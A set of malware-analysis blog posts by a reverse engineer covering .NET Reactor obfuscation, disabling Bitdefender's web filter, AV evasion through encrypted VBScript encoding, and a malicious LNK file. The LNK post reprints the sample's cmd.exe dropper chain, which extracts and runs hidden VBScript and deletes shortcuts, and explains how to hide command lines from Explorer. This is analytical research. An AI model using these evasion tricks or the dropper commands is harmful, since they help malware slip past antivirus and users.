Complicated state machines – or how Unit42 “discovered” .NET Reactor

kao

While browsing through my RSS reader, I ran into article from 09-Oct-2017, called OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan.

One part in the article caught my attention:

The “Run” method calls functions that has a state machine that dictates the actions taken. At a high level, these state machines attempt to create a process and inject the constructed payload into the newly created process. The use of state machines complicates analysis efforts because it makes the flow of execution jump around in a non-sequential fashion.
...
The state values jump around dramatically, which requires an analyst to also jump around the code to determine its functionality. This is an interesting anti-analysis technique we have not seen the OilRig actors use in their other tools.

.NET? State machines? Complicated technique we haven't seen before? Show me, show me, show me! 😀

Finding the DLL was relatively easy, finding the method they were describing was much harder. In the end I had to search for the constant "19" they mentioned in the article.. So, here is the method, in all its beauty:

If you're screaming "Dude, that code is obfuscated!", you're right. It is obfuscated.

If you're screaming "It's .NET Reactor!", you've spent too much time reversing .NET applications.

But you're right. It's easy to recognize the .NET Reactor by first few instructions, method renaming pattern and plenty of other things.

Have you heard of de4dot?

Let's try to run de4dot on this dll:

F:\>F:\de4dot-appveyor\de4dot.exe d.dll --dont-rename

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected .NET Reactor (F:\d.dll)
Cleaning F:\d.dll
ERROR:
ERROR:
ERROR:
ERROR: Hmmmm... something didn't work. Try the latest version.


Press any key to exit...

So, apparently, the latest versions of de4dot are buggy. Let's use an older version:

F:\>F:\de4dot-3.0.2\de4dot.exe d.dll --dont-rename

de4dot v3.0.2.3405 Copyright (C) 2011-2013 de4dot@gmail.com
Latest version and source code: https://bitbucket.org/0xd4d/de4dot

Detected .NET Reactor (F:\d.dll)
Cleaning F:\d.dll
Saving F:\d-cleaned.dll


Press any key to exit...

And let's look at the method again.

Strings are still unreadable, but where's the state machine? It's gone! Because it was never part of the OilRig actors toolkit, it was just a part of .NET Reactor control-flow obfuscation. 🙂

Decode strings and rename few variables and you'll see a very ordinary RunPE (aka. process hollowing) code:

Lessons learned

The lesson is simple - you should know the subject you're writing about. And if you don't know something, ask your friends and colleagues. Otherwise you'll just embarrass yourself and your company.

Further reading

If you want to learn more about this malware, I would suggest reading analysis by DarkMatter. At least they can identify .NET Reactor correctly. 😉

Why do antiviruses suck, part 2

kao

In part 1, I tried to explain reasons behind some of the decisions anti-malware companies make when designing their products. In this part I'll touch some other side-effects of those decisions and what they mean for power-users.

This site has been blocked

In general, I need a very basic antivirus protection - when I make a mistake during my reversing session or web browsing, it should stop malware from:

  • becoming persistent on my computer;
  • sending any data to its C&C server

I'm not retarded and can read and think for myself - therefore I don't want "anti-phishing protection", "parental control", "safe banking", "vulnerability scan" or any other features aimed for persons who shouldn't be using Internet in the first place.

So, I always configure my antivirus to have just very basic on-access scan and firewall enabled, and all other components switched off. You can imagine my surprise when in last 2 days I have been greeted with these messages on 2 separate sites:
page blocked
WTF guys, I have switched off every component I could - why are you still active?! And why are you bugging me with this nonsense?

Make it more user-friendly

I'm very sure that the answer is very simple: somebody in the UI/UX department decided that Bitdefender UI needs to be simplified. So, they took the UI that actually made sense, and fucked it up.

Here's how settings looked like in year 2013 (image (c) Softpedia):
bitdefender 2013 settings

And here's how it looks in the Bitdefender 2016:
bitdefender 2016 settings
Antispam and Firewall have been moved to their corresponding module, but "Antimalware Filter" has disappeared altogether. After all, who would ever want to disable it, right?

To make matters worse, here's how the alert looked in Bitdefender 2015 (image (c) PCRisk):
bitdefender2015-website-blocked
See, there was "Settings" button right at the top of alert page and you could disable "Antimalware filter" from there. Well, they "simplified" that option away as well. Geniuses!

But I really want to disable it!

Luckily, you still can. 🙂 All Bitdefender settings are stored in C:\Program Files\Bitdefender\Bitdefender 2016\settings\. However, to be able to modify files, you will need to start your computer in safe mode.

The file you're looking for is cloud.http.xml. Find your user name in it, and you'll see a section like this:

<user name="Administrator">
	<active>true</active>
	<timeout>400</timeout>
	<status value="default">false</status>
	<status value="malware">true</status>
	<status value="phishing">true</status>
	<status value="fraud">true</status>
	<status value="untrusted">true</status>
	<status value="bank">true</status>
	<bank>
		<add>
			<domain value="" option="ask"></domain>
		</add>
	</bank>
</user>

Apparently, there are more few settings which are hidden in the UI. I can only guess the exact meaning of them but - to be honest - I don't care. I just want this bugger to be gone from my machine. So, I changed "active" to "false" and for the good measure disabled each and every component as well. After a reboot, it all works the way I want, and I can access all the sites I want.

Great success! 🙂

Fun with encrypted VBScript

kao

In the post on malicious LNK file analysis, I mentioned that malicious LNK file contained encrypted VBScript. Of course I wanted to check the script, so I started Googling for tools to decrypt VBScript files.

Existing tools

There is some research about the used encryption algorithm and few tools as well. The most useful to me seemed article explaining the algorithm behind script encoder. Its author also has released several versions of his scrdec tool which is supposed to decrypt VBE files.

But, as it usually happens, publicly available tools tend to blow up in the most unexpected ways on non-standard scripts.

I'm gonna fix that!

Cause of the problems

All publicly available tools assume that the encrypted file will be using ANSI encoding. But it doesn't have to! 🙂 All the operations in vbscript.dll use wide chars and wide strings.

For example, here's a simple encrypted VBScript that is saved as a "unicode" file: https://www.mediafire.com/?cd98w73v12fpdq7. This one you can actually open in notepad, save as ANSI and then decode using scrdec.exe.

But how about this one? https://www.mediafire.com/?xdj6dfxsrcgbdr1. You can open it in text editor and save as ANSI - but after that it will not work anymore and script decoders will fail as well. How about that? 😉

Writing my own script decoder

Taking into account these problems, I decided to write my own decoder in C#. C# seemed to be a logical choice as .NET uses wide strings internally and it has StreamReader class that can take care of ANSI/Unicode/UTF8 string encoding automatically - so that I can focus on the actual decryption algorithm instead.

Well, almost.

.NET Framework contains Base64 decoding functions. Unfortunately, VBE files use a nonstandard approach to Base64. So, I had to implement simple Base64 decoder from scratch, taking into account all the weirdness of the VBE files. But that's a very simple thing to do.

First version of decoder took me few hours to make. And it worked nicely! 🙂 But I still wasn't satisfied because vbscript.dll disassembly showed me quite a few "weird" jumps. They were not taken in my examples but I was sure I could make up some test files that would force these jumps to be taken.

Oh boy, I rather wish I hadn't done that..

Bug-features of VBScript.dll

It turns out that not only you can use wide chars, you can do some other really hairy stuff:

  • you can mix encrypted code blocks with plain VBS in one file;
  • and you can put several encrypted code blocks in one file;
  • if encrypted code block length cannot be decoded or is larger than the filesize, this block will be considered to be plain VBS;
  • if encrypted code block checksum cannot be decoded or doesn't match the calculated one, this block will be considered to be plain VBS;

Having fun already?

It took me a few more hours to get my script decoder right. Now it should work almost the same way Microsoft's vbscript.dll works. But I wonder how many AV engines got this implementation right? We shall test and see!

Testing AV engines

OK, OK, I didn't really test AV engines. I just used VirusTotal to scan the files. This approach is really flawed (for many reasons that deserve a separate blog post) but it gives you some estimate how good or bad the situation really is.

I googled for some really common and easily detected VBScript malware. In few minutes I found this great example named aiasfacoafiasksf.vbs.

Let's see what VirusTotal says for the original file:

File name: aiasfacoafiasksf.vbs
Detection ratio: 38 / 56
Analysis date: 2015-06-30 12:10:06 UTC

OK, that's pretty decent. Should I try encrypting it using Microsoft's screnc.exe?

Hmm, VT results are 24/55. Looks like some antiviruses don't even know that VBScript can be encrypted..

Let's see what happens when we start pushing the limits:

  • Converting VBE to unicode we get: 19/55. Wide strings? Who needs that, the entire world speaks English;
  • VBE file consisting of multiple blocks: 12/55. I know, for loop is hard to implement;
  • Mixing plain text and encrypted VBE blocks: 10/55. Nah, that lonely jmp will never be taken;
  • Mixing plain/encrypted blocks and using unicode: 7/55. I feel really protected now;

Please note, I haven't modified a single byte in the plain-text representation of the malicious script. All I did is change the way the script is encoded.

Let's see what happens when I add some comments to the malicious script. Again, these are cosmetic changes, I am not changing a single variable name or functionality of the script. Any AV engine that normalizes input data before scanning should still detect malware.

  • Plain VBS with extra comments: 14/55. Apparently they don't normalize input data;
  • VBE with extra comments: 10/55. That's kinda expected;
  • Extra comment containing VBE start marker: 10/55. Suddenly getting "BehavesLike.JS.Autorun.mx" from McAfee. Excuse me? Are you using PRNG to generate those detections?

OK, so adding comments to VBScript is not that bad. But what happens when we put it all together?

Add extra comments + one VBE start marker in comment + one encrypted VBE block + use unicode: 3/53.

Hmmmm...

What can I say? Apparently some AV companies love to talk about their script engine features - but they don't implement these features properly. It would be extremely easy to detect most of my test files as malformed VBScript - as there is no way to generate such files using standard tools. But they don't do even that. Considering all this misery, I will not release any code that could be used to create super-duper-awesome-FUD VBScript encoder - even though it takes less than an hour to make one.

Note - it took me few weeks to get this post from a working draft to a published version. I'm sure that current VirusTotal results will be different, as most AV companies have had chance to process script files and make signatures for them. 😉 Also, any decent AV company should be able to get those samples from VirusTotal if they wish to fix their VBScript processing.

Have fun and keep it safe!

Useful links

Windows Script Encoder v1.0
My VBScript decoder: https://www.mediafire.com/?9pqowl05um4jums
I am not posting the source code but this is a non-obfuscated application made in C#. So feel free to use any decompiler you like..
Set of non-malicious VBE files demonstrating some edge cases of what you can do: https://www.mediafire.com/?bu3u62t858dn4id
Article in klaphek.nl, explaining the algorithm behind script encoder
scrdec.exe v1.8
scrdec.c v1.8
vbs_dec.pas by Andreas Marx

Analyzing malicious LNK file

kao

Last week I noticed a month-old post from F-Secure titled "Janicab Hides Behind Undocumented LNK Functionality" in my RSS Reader. I had starred it but never had time to read and analyze it thoroughly. Post title and their statement caught my attention:

But the most interesting part is the use of an undocumented method for hiding the command line argument string from Windows Explorer.

What is this undocumented functionality you're talking about? Tell me more! Unfortunately, they didn't provide any technical details just some screenshots.

I'm gonna fix that (and have some fun in process) 🙂

Initial findings and available tools (are crap)

Armed with information from FSecure's post, I started Googling. In a few minutes I found VirusTotal scan and a couple of searches later the LNK file itself. Now what?

I'm not a LNK file expert and I don't have magic tools for analyzing them. So, I did what everyone else would - Googled again. There are 3 tools that can be found easily:

All of these tools showed the same information as VirusTotal scan - absolutely nothing useful. See for yourself in screenshots:
lnk_template_original

Marked in blue is the final structure of LNK file, as per 010Editor Template. COMMAND_LINE_ARGUMENTS are empty. And it looks like malware authors somehow managed to put the real command-line "/c copy *.jpg.lnk..." outside the defined structures, right? How's that possible?

So, I got an official Shell Link (.LNK) Binary File Format specification by Microsoft and started reading.

Fixing 010Editor template

LNK file consists of sequence of structures of variable size. There's always size of the structure, followed by data. Right after it there's a next size and next data. Size, data, size, data.. It's very easy to process, just look at the size, read the appropriate number of bytes, process them. Repeat until done. How hard is that?

Yet, Mr. Stevens (proudly calling himself Microsoft MVP Consumer Security, CISSP, GSSP-C, MCSD .NET, MCSE/Security, MCITP Windows Server 2008, RHCT, CCNP Security, OSWP) managed to mess up his template.

lol

His implementation of LinkInfo structure looks like this:

typedef struct
{
	DWORD LinkInfoSize;
	DWORD LinkInfoHeaderSize;
	LinkInfoFlags sLinkInfoFlags;
	DWORD VolumeIDOffset;
	DWORD LocalBasePathOffset;
	DWORD CommonNetworkRelativeLinkOffset;
	DWORD CommonPathSuffixOffset;
	if (LinkInfoHeaderSize >= 0x00000024 )
	{
		DWORD LocalBasePathOffsetUnicode;
		DWORD CommonPathSuffixOffsetUnicode;
	}
	if (sLinkInfoFlags.VolumeIDAndLocalBasePath == 1)
	{
		VolumeID sVolumeID;
		string LocalBasePath;
		string CommonPathSuffix;
	}
	if (sLinkInfoFlags.CommonNetworkRelativeLinkAndPathSuffix == 1)
	{
		CommonNetworkRelativeLink sCommonNetworkRelativeLink;
	}
} LinkInfo;

He just reads all the fields one after another and expects that the length of all the fields will be equal to the size of structure (LinkInfoSize). Sure, it might work on "normal" LNK files but we're dealing with malware and intentionally modified files here. 😉

After fixing that and few more bugs in the template, I was able to see the proper structure of this LNK file:
lnk_template_fixed_overview
Command-line passed to cmd.exe is exactly where it should be, so why is Windows Explorer having problems with it?

Modifications in LNK file

Well, let's look at the file in more details.

lnk_template_lots_of_zeros_1
Looks like someone took a hex editor and just filled with zeroes every possible field in most of ItemID structures.

lnk_template_lots_of_zeros_2
Same in LinkInfo, lots of zeroes.

lnk_template_lots_of_zeros_3
And in EnvironmentDataBlock too..

lnk_template_lots_of_zeros_4
Hmm, this is interesting, 0xA0000000 is not a defined ExtraData structure ID according to MS spec.

Well, there are lots of changes but which one(-s) are causing the Explorer cockup F-Secure is mentioning? There are two ways to find it - debugging Windows Explorer shell, or making a test LNK file and filling it with zeroes until Explorer breaks. First one would be fun, but second one will be definitely faster. 😉

After few attempts, I found the culprit: it's the modified EnvironmentDataBlock.

So, now you know. Adding empty EnvironmentDataBlock to any shortcut and setting ShellLinkHeader.LinkFlags.HasExpString = 1 will cause Windows Explorer to hide your command-line (but not exe name) from the user. 😈

Command line magic and steganography

I wanted to finish my analysis but some things were still bugging me.
lnk_template_extra_data
What are these data after the end-of-file marker? And why is this LNK file 500+KB in size?

The answer is simple - it's using steganography to hide malicious VBScript inside.

Let's look at the commands passed to cmd.exe, I'll just prettify them a bit. To do it properly, you need to know about command prompt escape characters, like "^" (at first I didn't and FSecure got it wrong in their blogpost, too! 😉 ). These are the actual commands:

copy *.jpg.lnk %tmp%
%systemdrive%
cd %tmp%
dir /b /s *.jpg.lnk>o
echo set /p f=^<o>.bat
echo type "%f%"^>z9>>.bat
echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del *.lnk /S /Q /Y>>.bat
.bat

First few lines are copying our LNK file to TEMP folder. Remember, FSecure analysis says that LNK file was originally called fotomama.jpg.lnk. 😉
dir command is printing full filename of our evil file into another file named "o".
echo lines are generating file .bat.
And finally .bat is executed.

So, what is being written into .bat?

set /p f=<o
type "%f%">z9
findstr /R /C:"#@~" z9>1.vbe&cscript 1.vbe&del *.lnk /S /Q /Y

First 2 lines just copy our evil file to z9. I really don't know why file copy is done via environment variables, maybe it's some sort of anti-antivirus trick to hide the malware origin.
findstr treats z9 as text file and copies all "lines" of text that contain "#@~" into a file 1.vbe. If you Google a bit, you'll learn that encrypted VBScript files have extension .vbe, consist of one long string and start with magic bytes "#@~^"".
Then a script gets executed, LNK file deleted and stupid user ends up being pwned. 🙂

Now, the bytes after end-of-file marker in LNK file start to make sense. 0x0A is new-line that's necessary for findstr, and then comes encrypted VBScript. Nice example of steganography, lots of black command-prompt scripting magic, I really like it! 😉

Decoding VBE file and analyzing it - that's a matter of another blog post. Yes, it's really on my todo list.

Fixed LNK Template

I spent few more evenings working on the LNK template. It was just bugging me, to have something so useful, yet so terribly broken. So, I'm happy to present a fully reworked version that should be much more stable and able to deal with malicious LNK files in much better fashion.

Download link: https://www.mediafire.com/?zvrlmjy9v9m3ed3

Final thoughts

This was a fun evening project. I learned a lot about 010Editor Binary Templates, learned something new about LNK files and got a refresher course in CMD scripting and steganography. Writing this post took much much more time than the actual research, though.

If you want to have some fun too, you can use my 010Editor Template to edit your LNK files. Or make a simple tool in C#. Or create a LNK obfuscation service webpage in PHP. Possibilities are endless! 🙂

Obviously I won't give out link to an actual malware (if Google is your friend, you can find it anyway) but here's a demo LNK file I put together just for fun: http://www.mediafire.com/?gmphyn0mkmmyuag

It's harmless, trust me! 😀

Useful links

FSecure post that started my adventure
Original LNK Template
Official LNK specification by Microsoft
Overview of LNK file data that are useful for computer forensics